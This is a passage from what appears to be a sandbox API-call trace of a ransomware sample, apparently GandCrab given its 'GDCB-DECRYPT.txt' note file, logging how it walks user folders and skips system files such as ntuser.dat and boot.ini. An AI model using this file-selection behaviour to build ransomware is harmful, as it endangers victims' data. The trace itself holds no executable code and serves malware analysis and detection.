lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\GDCB-DECRYPT.txt" [0054.783] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.783] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\GDCB-DECRYPT.txt") returned 90 [0054.783] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\GDCB-DECRYPT.txt") returned 90 [0054.783] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\GDCB-DECRYPT.txt") returned 90 [0054.783] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\GDCB-DECRYPT.txt") returned 90 [0054.783] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.783] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.783] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.783] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.783] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.783] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.783] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.783] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.783] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.783] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.784] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0054.784] FindClose (in: hFindFile=0x5b85f0 | out: hFindFile=0x5b85f0) returned 1 [0054.784] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.784] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0054.784] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0054.784] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0054.784] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0054.784] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.784] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.784] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.784] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.784] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.784] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.784] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned 63 [0054.784] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*" [0054.784] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b8af0 [0054.784] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.784] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.784] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.784] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.784] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.784] lstrcmpW (lpString1="-5DB1ff.lnk", lpString2=".") returned 1 [0054.784] lstrcmpW (lpString1="-5DB1ff.lnk", lpString2="..") returned 1 [0054.784] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="-5DB1ff.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-5DB1ff.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-5DB1ff.lnk" [0054.785] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-5DB1ff.lnk") returned 74 [0054.785] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.785] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.785] lstrcmpW (lpString1="-XKS.lnk", lpString2=".") returned 1 [0054.785] lstrcmpW (lpString1="-XKS.lnk", lpString2="..") returned 1 [0054.785] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="-XKS.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-XKS.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-XKS.lnk" [0054.785] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-XKS.lnk") returned 71 [0054.785] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.785] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.785] lstrcmpW (lpString1="-__krKwuDNCw7vix_s.lnk", lpString2=".") returned 1 [0054.785] lstrcmpW (lpString1="-__krKwuDNCw7vix_s.lnk", lpString2="..") returned 1 [0054.785] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="-__krKwuDNCw7vix_s.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-__krKwuDNCw7vix_s.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-__krKwuDNCw7vix_s.lnk" [0054.785] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-__krKwuDNCw7vix_s.lnk") returned 85 [0054.785] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.785] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.785] lstrcmpW (lpString1="004-sn-0z5C.lnk", lpString2=".") returned 1 [0054.785] lstrcmpW (lpString1="004-sn-0z5C.lnk", lpString2="..") returned 1 [0054.785] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="004-sn-0z5C.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\004-sn-0z5C.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\004-sn-0z5C.lnk" [0054.785] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\004-sn-0z5C.lnk") returned 78 [0054.785] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.785] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.785] lstrcmpW (lpString1="0EsxwfGpf (2).lnk", lpString2=".") returned 1 [0054.785] lstrcmpW (lpString1="0EsxwfGpf (2).lnk", lpString2="..") returned 1 [0054.785] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="0EsxwfGpf (2).lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf (2).lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf (2).lnk" [0054.785] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf (2).lnk") returned 80 [0054.785] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.785] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.785] lstrcmpW (lpString1="0EsxwfGpf.lnk", lpString2=".") returned 1 [0054.785] lstrcmpW (lpString1="0EsxwfGpf.lnk", lpString2="..") returned 1 [0054.785] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="0EsxwfGpf.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf.lnk" [0054.785] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf.lnk") returned 76 [0054.785] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.785] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.785] lstrcmpW (lpString1="0fbVcV3Zv5.lnk", lpString2=".") returned 1 [0054.785] lstrcmpW (lpString1="0fbVcV3Zv5.lnk", lpString2="..") returned 1 [0054.785] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="0fbVcV3Zv5.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0fbVcV3Zv5.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0fbVcV3Zv5.lnk" [0054.785] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0fbVcV3Zv5.lnk") returned 77 [0054.785] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.785] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.785] lstrcmpW (lpString1="0qcuk3G0.lnk", lpString2=".") returned 1 [0054.785] lstrcmpW (lpString1="0qcuk3G0.lnk", lpString2="..") returned 1 [0054.785] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="0qcuk3G0.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0qcuk3G0.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0qcuk3G0.lnk" [0054.785] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0qcuk3G0.lnk") returned 75 [0054.785] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.785] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.785] lstrcmpW (lpString1="0RdiLe2R39_-D0kBjV.lnk", lpString2=".") returned 1 [0054.785] lstrcmpW (lpString1="0RdiLe2R39_-D0kBjV.lnk", lpString2="..") returned 1 [0054.785] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="0RdiLe2R39_-D0kBjV.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0RdiLe2R39_-D0kBjV.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0RdiLe2R39_-D0kBjV.lnk" [0054.785] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0RdiLe2R39_-D0kBjV.lnk") returned 85 [0054.785] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.785] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.785] lstrcmpW (lpString1="1 VB53.lnk", lpString2=".") returned 1 [0054.785] lstrcmpW (lpString1="1 VB53.lnk", lpString2="..") returned 1 [0054.785] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="1 VB53.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1 VB53.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1 VB53.lnk" [0054.785] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1 VB53.lnk") returned 73 [0054.785] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.785] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.785] lstrcmpW (lpString1="1C35.lnk", lpString2=".") returned 1 [0054.785] lstrcmpW (lpString1="1C35.lnk", lpString2="..") returned 1 [0054.785] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="1C35.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1C35.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1C35.lnk" [0054.786] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1C35.lnk") returned 71 [0054.786] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.786] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.786] lstrcmpW (lpString1="1K3-TZCPmibHkU6FTw.lnk", lpString2=".") returned 1 [0054.786] lstrcmpW (lpString1="1K3-TZCPmibHkU6FTw.lnk", lpString2="..") returned 1 [0054.786] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="1K3-TZCPmibHkU6FTw.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1K3-TZCPmibHkU6FTw.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1K3-TZCPmibHkU6FTw.lnk" [0054.786] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1K3-TZCPmibHkU6FTw.lnk") returned 85 [0054.786] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.786] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.786] lstrcmpW (lpString1="1rMkargVi.lnk", lpString2=".") returned 1 [0054.786] lstrcmpW (lpString1="1rMkargVi.lnk", lpString2="..") returned 1 [0054.786] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="1rMkargVi.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1rMkargVi.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1rMkargVi.lnk" [0054.786] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1rMkargVi.lnk") returned 76 [0054.786] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.786] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.786] lstrcmpW (lpString1="1WmQLmoja01-EP.lnk", lpString2=".") returned 1 [0054.786] lstrcmpW (lpString1="1WmQLmoja01-EP.lnk", lpString2="..") returned 1 [0054.786] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="1WmQLmoja01-EP.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1WmQLmoja01-EP.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1WmQLmoja01-EP.lnk" [0054.786] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1WmQLmoja01-EP.lnk") returned 81 [0054.786] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.786] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.786] lstrcmpW (lpString1="210AtVavnZ- J.lnk", lpString2=".") returned 1 [0054.786] lstrcmpW (lpString1="210AtVavnZ- J.lnk", lpString2="..") returned 1 [0054.786] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="210AtVavnZ- J.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\210AtVavnZ- J.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\210AtVavnZ- J.lnk" [0054.786] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\210AtVavnZ- J.lnk") returned 80 [0054.786] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.786] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.786] lstrcmpW (lpString1="22j3l8d5gwBlYb.lnk", lpString2=".") returned 1 [0054.786] lstrcmpW (lpString1="22j3l8d5gwBlYb.lnk", lpString2="..") returned 1 [0054.786] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="22j3l8d5gwBlYb.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\22j3l8d5gwBlYb.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\22j3l8d5gwBlYb.lnk" [0054.786] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\22j3l8d5gwBlYb.lnk") returned 81 [0054.786] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.786] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.786] lstrcmpW (lpString1="2eXJAztyYmvvQ.lnk", lpString2=".") returned 1 [0054.786] lstrcmpW (lpString1="2eXJAztyYmvvQ.lnk", lpString2="..") returned 1 [0054.786] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="2eXJAztyYmvvQ.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2eXJAztyYmvvQ.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2eXJAztyYmvvQ.lnk" [0054.786] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2eXJAztyYmvvQ.lnk") returned 80 [0054.786] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.786] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.786] lstrcmpW (lpString1="2OkDu2NHm-7zk1T.lnk", lpString2=".") returned 1 [0054.786] lstrcmpW (lpString1="2OkDu2NHm-7zk1T.lnk", lpString2="..") returned 1 [0054.786] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="2OkDu2NHm-7zk1T.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2OkDu2NHm-7zk1T.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2OkDu2NHm-7zk1T.lnk" [0054.786] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2OkDu2NHm-7zk1T.lnk") returned 82 [0054.786] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.786] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.786] lstrcmpW (lpString1="4a e.lnk", lpString2=".") returned 1 [0054.786] lstrcmpW (lpString1="4a e.lnk", lpString2="..") returned 1 [0054.786] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="4a e.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4a e.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4a e.lnk" [0054.786] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4a e.lnk") returned 71 [0054.786] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.786] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.786] lstrcmpW (lpString1="4nC7.lnk", lpString2=".") returned 1 [0054.786] lstrcmpW (lpString1="4nC7.lnk", lpString2="..") returned 1 [0054.786] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="4nC7.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4nC7.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4nC7.lnk" [0054.786] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4nC7.lnk") returned 71 [0054.786] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.786] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.786] lstrcmpW (lpString1="4o-7px (2).lnk", lpString2=".") returned 1 [0054.786] lstrcmpW (lpString1="4o-7px (2).lnk", lpString2="..") returned 1 [0054.786] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="4o-7px (2).lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px (2).lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px (2).lnk" [0054.787] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px (2).lnk") returned 77 [0054.787] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.787] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.787] lstrcmpW (lpString1="4o-7px.lnk", lpString2=".") returned 1 [0054.787] lstrcmpW (lpString1="4o-7px.lnk", lpString2="..") returned 1 [0054.787] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="4o-7px.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px.lnk" [0054.787] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px.lnk") returned 73 [0054.787] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.787] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.787] lstrcmpW (lpString1="4wEn.lnk", lpString2=".") returned 1 [0054.787] lstrcmpW (lpString1="4wEn.lnk", lpString2="..") returned 1 [0054.787] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="4wEn.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4wEn.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4wEn.lnk" [0054.787] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4wEn.lnk") returned 71 [0054.787] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.787] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.787] lstrcmpW (lpString1="5j6qWl.lnk", lpString2=".") returned 1 [0054.787] lstrcmpW (lpString1="5j6qWl.lnk", lpString2="..") returned 1 [0054.787] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="5j6qWl.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5j6qWl.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5j6qWl.lnk" [0054.787] lstrlenW 